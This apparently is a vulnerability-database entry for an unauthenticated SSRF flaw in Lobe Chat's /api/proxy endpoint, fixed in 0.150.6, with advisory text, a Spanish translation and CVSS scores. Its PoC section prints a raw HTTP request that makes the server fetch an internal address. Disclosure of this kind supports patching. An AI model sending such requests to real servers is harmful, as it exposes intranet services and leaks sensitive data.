Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6,…
GitHub_M·CWE-918·Published 2024-05-10
Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.
Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.
### Summary The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. ### Details * visit https://chat-preview.lobehub.com/settings/agent * you can attack all internal services by /api/proxy and get the echo in http response :)    ### PoC ```http POST /api/proxy HTTP/2 Host: xxxxxxxxxxxxxxxxx Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0 Content-Length: 23 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/agent Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7 http://172.23.0.1:8000/ ``` ### Impact SSRF ,All users will be impacted.
### Summary The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. ### Details * visit https://chat-preview.lobehub.com/settings/agent * you can attack all internal services by /api/proxy and get the echo in http response :)    ### PoC ```http POST /api/proxy HTTP/2 Host: xxxxxxxxxxxxxxxxx Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0 Content-Length: 23 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/agent Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7 http://172.23.0.1:8000/ ``` ### Impact SSRF ,All users will be impacted.
Lobe Chat es un framework de chatbot que admite síntesis de voz, sistema de complemento de llamada de función multimodal y extensible. Antes de la versión 0.150.6, lobe-chat tenía una vulnerabilidad de Server Side Request Forgery no autorizada en el endpoint /api/proxy. Un atacante puede crear solicitudes maliciosas para provocar una Server Side Request Forgery sin iniciar sesión, atacar servicios de intranet y filtrar información confidencial.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 9.0 | — | — | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H |
| 3.1 | Primary | cve.org | 9.0 | — | — | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H |
| 3.1 | Secondary | GHSA | 9.0 | — | — | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H |
| 3.1 | Secondary | NVD | 9.0 | 2.3 | 6.0 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H |